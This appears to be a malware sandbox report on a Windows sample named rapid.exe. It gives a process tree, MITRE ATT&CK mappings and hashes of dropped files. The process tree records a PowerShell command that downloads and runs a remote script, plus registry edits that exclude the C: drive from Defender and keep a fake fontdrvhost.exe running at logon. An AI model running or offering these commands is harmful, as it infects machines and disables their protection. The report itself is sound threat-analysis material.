  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=8224,i,11597496453050253447,5830624291973849232,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=3828 /prefetch:14
  2⤵
  PID:1468
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5068,i,15767895530671846212,830515665750940661,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=4180 /prefetch:14
  2⤵
  PID:2260
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5196,i,2923668333750900190,9272635139201504702,524288 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=7444 /prefetch:14
  2⤵
  PID:4412
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --always-read-main-dll --metrics-shmem-handle=8208,i,9254157659449659096,13580270744292204949,2097152 --field-trial-handle=2500,i,14739062464771777805,11984181778166100203,262144 --variations-seed-version --mojo-platform-channel-handle=5352 /prefetch:1
  2⤵
  PID:5640

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:1460

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:4752

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1700

C:\Users\Admin\Downloads\rapid\rapid\rapid.exe
"C:\Users\Admin\Downloads\rapid\rapid\rapid.exe"
1⤵
PID:6020
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://igk.filexspace.com/getfile/UHOHOHL?title=DependencyCore
  2⤵
  PID:4764

C:\Windows\System32\cmd.exe
cmd /c powershell -Command "irm 'https://plushiefun.xyz/son' | iex"
1⤵
PID:1584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "irm 'https://plushiefun.xyz/son' | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5324
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
    3⤵
    PID:1728
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\ /d 0 /f /reg:64
    3⤵
    PID:2972
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v FontDrvHost /t REG_SZ /d C:\ProgramData\fontdrvhost.exe /f
    3⤵
    - Modifies registry key
    PID:6092

C:\ProgramData\fontdrvhost.exe
C:\ProgramData\fontdrvhost.exe
1⤵
PID:4372
- C:\Users\Admin\AppData\Local\PeerDistRepub\sihost.exe
  C:\Users\Admin\AppData\Local\PeerDistRepub\sihost.exe
  2⤵
  PID:4612
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe
    3⤵
    PID:1160
- - C:\Program Files (x86)\Microsoft\Edge\Application\sihost.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\sihost.exe" -
    3⤵
    PID:2036

C:\Users\Admin\Downloads\rapid\rapid\rapid.exe
"C:\Users\Admin\Downloads\rapid\rapid\rapid.exe"
1⤵
PID:248
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://igk.filexspace.com/getfile/UHOHOHL?title=DependencyCore
  2⤵
  PID:4240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

sihost.exe

Path C:\Program Files (x86)\Microsoft\Edge\Application\sihost.exe
Size 2.1MB
SHA256 b52ad4d482984c9d9a7b6de160a9bc8da4447cbd2ad55e6e7456cd4d6e1faeea
MD5 bc5c78379f7d24f83f0c94bf22b016fc
SHA1 45a91f46c1cf976c6a10e9a40e14b6afb7ed664d
SHA512 88b75e4a28454873fbc5686ff275fef84236fb364526014084671d92574cf6ef6d5ed548a38bd5c4e510cfa25c4459a75d9be4202fe552feb6e0ce8263b3d178
SSDEEP 49152:HFcnnSZUTW/en7Nx1Yg58eaYY1f/vzz0Gzead5fW2WSE4pp:lbkWmn+28T7oGzfje2lEgp
TLSH
T1F2A53335CE0ED87FC0A703214F116182F5ACD59146CAAF6E46AE984E4E52CDF9CED4B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fontdrvhost.exe

Path C:\ProgramData\fontdrvhost.exe
Size 3.1MB
SHA256 7770d0a0305f1f2d42de88ae793a6bd09b780b43313a432678fb13566c7d69f9
MD5 467975d87cf6db7f21490f5a90b7f7c5
SHA1 cde38d390ca6bd5ecdb97b09db26bb03a637b79d
SHA512 7507965fc421b366f7883d0b5fc9a3650a3d494a83a8894f18f347f1ac998bd078e9725ed89a80498ffd699c2b6be4dda56bbc5072267efbe123c4a852bbfced
SSDEEP 98304:lbkWmn+28T7oGzfje2lEgHc47WwFyq0E5b3HeG:VkWh2K73lEgHcqn0q0+r+G
TLSH
T14CE53336CF4DA83FC45643325D459642FE9CE1A149CEAEAE096EEC0E581284F9DEF074
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2cfb77611c6372588cbb86850301c7d4d2a98bc9870148a0233cb9ff0ba848ae
MD5 30dd1402eab1adcd1b7a879da690d903
SHA1 5ad2617a2f54fb4647f217e450aa852cfab95912
SHA512 396e3e6a4f4d2b6cdab94a4fc9fcd07b5b3b76f067ce5666b89e9fb8d48b00e16fe2a2e9189c9d96e3f8d9d2f1a719132c8694f2859c94a22a5b7ecb4e74a3fc
TLSH
T1A3D02B343300650CC89070321C52B249532158300440420000D0B158CC7168102370AE
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 174576d263d17c1ded542f85fe22b729d39689265635c9c57a2bfd1af11bcb69
MD5 e54a3dd3758ae26f8eb9c7149476114c
SHA1 dd4159ecc029af9dd3da72970ac8bfa500a0651c
SHA512 eabda803f8f816ad2a6d57d3ce37f9c8cf72ef9a0a1ebecd6f39990ef65120d12a76e6ae5a2cb62c423511cbb36f0da6835b1dfa5907c5559c0ead5b0735873c
TLSH
T1E6D092757764A90CC9A5B0322CA7B29AA322A8300495860444E5F2A8CDB6A82567B5AE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 f4e659adca791226a8f56c53fbe9315d5fab7abb111ec00b072280678f90a957
MD5 b9acd07db0950f42a430c4e3e8b90660
SHA1 e5e00e2c171934b9f0af79055f5142e776d8c415
SHA512 489b9c217c0f1c97cc67a2c98272152436199a0fde79c139cc0425b4c1fde1276efb1dd5a301cec71deb81f3429aa033ee9218f8161a71aa72da58ebe4ec41ce
SSDEEP 96:ojcuh+nof8CQXj/Ca/zw9hC2X2GfsFfWDX:JuiCQz/C08fC2XbfsYX
TLSH
T1B091DB2403662EF1CBDEEBF52AE119983530C0D730C7EF1768A191F434767CD6211AA6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 4KB
SHA256 ac820693f604367f69f7cc47185e69daf2967fa22ffb57d1d4b9718a2368399b
MD5 31f9017f1279182467c93973236406f3
SHA1 3a63fed18fbf7824afea3c4c0bb8fe3d4aaf6f9d
SHA512 09cbca488f53c65ddaa2fefd4e76be46dea53e8ba652769749f48fcda0eacfad6b149290aa35abe8e2b285242bc7956d588ba63a65f6b7950905425df92a61c4
SSDEEP 96:tjcuh+nof8CQXj/Ca/zwohC2X2GfsFfWDZ:yuiCQz/C080C2XbfsYZ
TLSH
T12791D92413A62EF1CBEEEBF66AE109983530C0D730C7EF1768A191F424767CD6211AA5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 525d45024b61df9924fb66d5394994d94dfbc2cac770ec50c2be152a8b182e49
MD5 406c5f95ed7b04e298020c527d7027b6
SHA1 1dbe886b35e6ab708ad9ef9de5ab459d26eae58a
SHA512 9f00af3a6119669295f20aa27a1fe986aa85892e49ebbfd10efc7b4c946f43a6bce0b1fdbad66e73a81685d1b8c8d29d1ed1a7183906025da6625b3fdfee1a56
TLSH
T1E731BEF7C3E8567D9A4145F87B142E1BCE2D0964832C7D5AC8D4AF6FA3E1471E28089E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 6926b3de7cc7a744f36b4662df44752eda1ab95bd73627415981c527bff76c56
MD5 0e305315920077abfc7d1be91a08f384
SHA1 9c2ca071fa5ba9d9d69ecc7a4deec129c9e132ed
SHA512 97d72abb5b26159a061b312c0ea7c017dc5deb4bb50ea9d256819bbbdb063d7afe7973e14fa54a496e24f38e57f6b7cee8362602765d66aad3f83c4f9edfe27b
TLSH
T15531BEF7C3E8567D9A4145F87B142E1BCE2D0964832C7D5AC8D4AF6FA3E1471E28089E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 22KB
SHA256 2e0961d262aee067756b097ac080b79162fdacc4286c9d670a612c61ebefee3e
MD5 b7caaaa7ad023a5fccd79772c0ae8d13
SHA1 108ae8fa28a5833d51912d67527950c512070a21
SHA512 403e07810c36f4cbaf9674155a961cb3a4be734cc31388d043be779d25bf40afaa8b0c6794e1f2e6cb057507602c159c41548b7ad19a6753e320057ec70b6fa2
SSDEEP 384:DiO5gsPZ06e2AG/RhOJeXZJwO6R+WqqeUkO0B4z5PqyKLA3PrY0e4pGY6Y6MeyYA:TvLSJq41eLjB5i6Do
TLSH
T1F7A299F783E5D62E89115BF86610AE1BCE1D0655432C3C2588D5EE87E3E2472E16E60F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 f7feb0c2e8cc64662b675c98a2f0f44b29c6f8460e6ddbf1e654b93640f9374d
MD5 c5b988e97e9927433a35feb3f4f6ee1e
SHA1 b7971fc8fbb7bb733e0c4fb76bcd96eef4d13547
SHA512 aee630e4bf8e3028cfd0b6d92f106b6cfc5fc4f02d62ca95fb8a89ab9aab9492e360b5d80d204c5787fffaab2e5e868784e961a7060d4459397d5f8a68c06572
SSDEEP 192:sxRF/yM/jK1Ml8wOI/fPs8an78UzoA8pN9/g6+WN8OiXYtZIFl9Wq4GEIgDaJ:sxRF5II/fPs8W41b/5YXsi/X8y
TLSH
T15762D816AA349977CCDBD20DFA557B53D2F85572A2901E44A9FCCB0C01E7AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 73777b4ec194d9aefaf3355909a20efbbdb79426afcb181907c3ab063561e3d9
MD5 e4c7c4a4c67b3b52e9456563755b5bd5
SHA1 43c65b8dbb64a4d4096e77535754f72972b6525e
SHA512 b129e47c0d0550edf2ca320c4024cdeb3b4ddf15fcf92ff86970934c504a6902570fed85e57279e576d32ac2e61348f70e0cb9e83fa31f7799de69c469d89e3d
SSDEEP 192:sxRF/yM/jK1Ml8wOI/fPs8an78UzoA8pj9/g6+WN8OiXYtZIFl9Wq4GEIgD+J:sxRF7II/fPs8W415/5YXsi/X8m
TLSH
T1E462D916AA349977CCDBD20DFA557B53D2F85572A2901E44A9FCCB0C01E7AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 7d860bda094c82a552799e07c620ad87617a7615f90d57b87b28b61f1e3395ab
MD5 94bec199a37cc1fc2f47cfaee8b47911
SHA1 c395ca5a9e7414a548884dc9ab895e5ea90462ba
SHA512 bf1bd366795b4ad4fee63eff38b6a3cfc4108a76ccb039e76344ac65231e6c4fc08d55598ea94ebad3fdd1f346e7ae696bc155795b148b5bb6f730d0643d65f7
SSDEEP 192:sxRxrOI/fPs8an78UzoA8pN9/g6+WN8mM/YtZIjl9Wq4GEIgDaJ:sxRxyI/fPs8W41b/5K/siRX8y
TLSH
T12532B7166D28A93B8CC7E21DFB567F53E2F95032A1901E48B6FC871C05EB6DD221781B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 bffedc70ffcd582a7d8c366458aaed5e749b272303ba24740657bfa196898506
MD5 d418caa89172308309f6ae52372f856a
SHA1 62e9464c49d36077896b1495e968a93664706fc4
SHA512 891fed9e493e75c7dfcfb137cf5df59d6ee96dc049c22a7d284b1d4264f0c9ab23734a004b8133a2751546ed4da2c0e362f70bdee21f9d4c2e5cbed137c55902
SSDEEP 192:sxRF/yM/jK1Ml8UQ8BI/fPs8an78mzoA8pt29/g6+WNs5aRFOiXYtZIgl9Wq4GEm:sxRF7qYI/fPs8W4bo/5sKVXsiEX8m
TLSH
T1E562D816A9349A778CDBD20DF9517B53D2F85573A2901E44AAFCCB0C01E7AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 10KB
SHA256 5672b8e8f7026e4583aaa979feefefbe478ec60f02b6d0e14f3db9dc729b2293
MD5 5fb184c49aa5010ef73c41b7734cc34d
SHA1 953f3b7f4f9580d3b45a34653a52e25f41ad4b3d
SHA512 f94ebcbef7f7ed395ec670020828090760874e7856309952c33325ab8f88d9ef086cf936294606a15e98607d403a338b07a715dea00710baece2bbf7360dc38e
SSDEEP 192:sxR6rbI/fPsD78gzoA8pi/g6+WNIYtZIbl9Wq4GEIgQJ:sxR6PI/fPsD4Zi/5IsiZX80
TLSH
T13E3295166928A93B8CC7E21DBA657F53D2F96032A1941E48F6FC871C05EB6DE120781B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 66fb4c3cc33cb3662dcd74e7b55babb5afead5dfe6dfd4796fdb3523484dffc6
MD5 d601ca3fc575bcb31b97a9ea69136306
SHA1 96216b7f8d7b51efb9b31cc374650481baa22ed7
SHA512 0a9be5a3392fbb4eb49fcb178c6eba6a7d70422b6f38393b03c6a951bc2652eafff54d27869f3d5839aeb609e6749f8772ee0d5eabf2a9114dfe9eb39cfa29bb
SSDEEP 192:sxRF/yM/jK1Ml8UQ8OI/fPs8an78mzoA8pt29/g6+WNs5aRFOiXYtZIgl9Wq4GEm:sxRF7qLI/fPs8W4bo/5sKVXsiEX8m
TLSH
T10E62C816A9349A778CDBD20DF9517B53D2F95573A2901E44AAFCCB0C01E7AED221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 23KB
SHA256 259e58a3bf9a01b65ae37c51d6c54a0232274594cc3cec86fdf1eee9408bdc53
MD5 73640379a8adc7a1e9616e30ea99b2f5
SHA1 9c8ac9385ec9d0341f1a5f7300118e566a8432d0
SHA512 ae3ca730a567927e9f40415c713381cf19812cc368ec364a67d3bd863f7db1242d23a54b75be1deddc8fa8ff9f583d90f9fe5211add1c016c70e84ed6273cc05
SSDEEP 384:dOwTj1wjzwRW1wIfCtg1zwEFftZwKKhOObJ+UoAYDCx9TuqZz0VfUCh7xbog/OVA:dOwn1wjzwRW1wiWg1zwsftZwK8F1+Uo9
TLSH
T111B2CB3F604CCB7F9F804A9DAC296F976D9802C757588D4087FE994C02C77EA921A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 27KB
SHA256 45f01c793fb4ecb2ba9b4385416500a0683c3d42967c615db11dac41d9f5a29a
MD5 c1b70c7009d75ed8cc9ee18cdecc63a5
SHA1 40c0ce82881e53c06241cb03a67ece7e21667f62
SHA512 810970d0c4d84b56b1652bd092125b195f89b71b40228d92bc7691bd2231df730f023c0f35d7c9a433379db1ab7a2ca4146942a0cdb84c83ec0cb695f530e767
SSDEEP 768:dOwS1wBzwRc1wiWg1zwsfMZwK8F1+UoAYDCx9Tuqh0VfUC9xbog/OVVlwmPzwx18:dOwS1wBzwRc1wiWg1zwsfMZwKu1jaQlt
TLSH
T127C2EA3F644CC77E4F844E9DAC29AE976DD801CB57984D5447FA880C03CA7EB921A4DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ead93727cf081cf8_0

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache\ead93727cf081cf8_0
Size 63KB
SHA256 5cb3df991dea8bb904461b754fb4071273024bc845f413970fd0275b92d44034
MD5 aa9923535e01ba2e971c0902c50e6f98
SHA1 9d0fa6363e40ad2d1b1b92acc6e307c5281f0674
SHA512 8277ac5b38c7ce5e2969a658bb5213472f538b370c24dd0ece836f42ae61ad8de7ed71585b175c9304390792eea4100b76c002bdaf3f07ed9136c60470a820ec
SSDEEP 768:jeJDcwZ9olHJrD05l7eEFfgoAxWhrJTV9/5oZ+UyA2xGu/5374WAiEAXnR8c6BVy:jDJ0VPVR5yyJxGSV4V1C6c0VVEO
TLSH
T141534BA633707477827BA1F1905F130B713AE167F40494E8B194EEE54A84BAA42B7F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Shared Dictionary\cache\index-dir\the-real-index
Size 72B
SHA256 4c7e9ffa8bd51256d703d868a916fc79f3fde14d35fee610ad24cbfba11c289a
MD5 73d7a9b3bacdfda48770e8358af940b2
SHA1 dca58710ab27b5abba665c91caead377a4f35024
SHA512 3ab2270c525e9fff5afbb57e8c4397096687f0c0479f73bef4e3a97d7451613c0c715cf3b0a52ef3d8e446d7309eeeb3bd3ad73c11c5910a898a68ccd359c21e
TLSH
T132A002212351421DC6055370E1C6829026106D32460D021170F6F856D8922C1A2974D5
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 3KB
SHA256 c08bbb23167c4301ce4819c23e68bf3713acfb7e530f6d8332a7e75dbab63b0d
MD5 8eafcb63dd2d7f16e5edd63a59c3fdc7
SHA1 8a63ec6a8f395a915e6988c4fe623013ba2d9644
SHA512 5aa660e8715b41a15c726bf85718fc0117a750df4200432f1aacd30667e112586539415f51e087cbbb57efcb52aedc73cdde62cc7804cf8cb7a9e3e2c0bdee0f
TLSH
T108718F45757B1280387D794880ACCD6682C27562350DE4BFBBA802F21FA7E029FFD8D8
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 e4d3d91e98f2916862f5f3295c2a80b5fc412eb7354f53f6848772afa6ffe514
MD5 3e14168b199e4f0815a1ba7774a350f4
SHA1 f1e4b2b6b0e40d92b94284f7d7c9571f722a56ce
SHA512 f791cf1b7a618edef6c43ad0f4e7ef8355b84973a36def771f15018f0ffee0149a563356559c8025e4ed244174096050d1d709fdb82512ff2d560875b03111d6
SSDEEP 96:KRfItpfd9xWJmsgRxK44g/xcnvOR9SHEFw0Oy2UWS/fg8UK4Rg2Uc00/uU979k9s:CfItpfd9cJmtR74g/envOR9SHEFw0OyU
TLSH
T1FC917E05713B1280387D794884A8CD66C2C27666751DE47FBBA802F21FA7E029FFD8D9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

4985c68f-0e53-4db0-a076-1574995dd623.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\4985c68f-0e53-4db0-a076-1574995dd623.tmp
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Browser
Size 120B
SHA256 9c70f766d3b84fc2bb298efa37cc9191f28bec336329cc11468cfadbc3b137f4
MD5 a397e5983d4a1619e36143b4d804b870
SHA1 aa135a8cc2469cfd1ef2d7955f027d95be5dfbd4
SHA512 4159ea654152d2810c95648694dd71957c84ea825fcca87b36f7e3282a72b30ef741805c610c5fa847ca186e34bde9c289aaa7b6931c5b257f1d11255cd2a816
TLSH
T1E0B012203BF9062CF3F74D00AA73AA3428BFF4080A14811D505102080C33E19C478FA3
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 66c23690cffd43b72ad16c398ba3f33d6506e36cd1ebea75993e9fb6253e172b
MD5 120a670922fc0017d4df1c6f42768c18
SHA1 a42e36c24cd07e3ba1a5799ac399b11a288107fc
SHA512 a14fe778df2a8e6f5a67cb97d5cc90e710b33ab9bc6779711e8d30ef885b187148dd335d61b9436ecd668721652da0a947b0df9fc702b78c10b14b1e38d7d4cd
SSDEEP 768:66rv+4UNbdX3874hSICdu37BtAwjUSzFvUikBC:66bsbR3M48uoTKUJE
TLSH
T1A413CF31A85499339CF7D299B25B3A43AFB45153C5C91F94C8ED2B0D428B1AD230BD3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 8ded575e51eee0cee0e4fe7c1972d71b3e10237263a0b2e0ed02e0a781ba9b09
MD5 c5cbce738f5c18285f7efed9f2bba898
SHA1 158c747159fe7e81c6357f0b5c641e6b0ff0bddd
SHA512 f809c146d05cf6975882709804db06082e84a0c97277e8db2a3f9b74aefef69b8e71fa30f248aca8a65236274cadbd68b1c17be94c6bc99eded083b4ae25ea7e
SSDEEP 768:W6rv+4UNbdH3T74hSICdu37BtAwjUSzFv53r:W6bsb93v48uoTKB
TLSH
T19C03BF32A85499779CF796C9B24A3A43BFB04167C5C91F94C8ED2B0D418B1AD230BD37
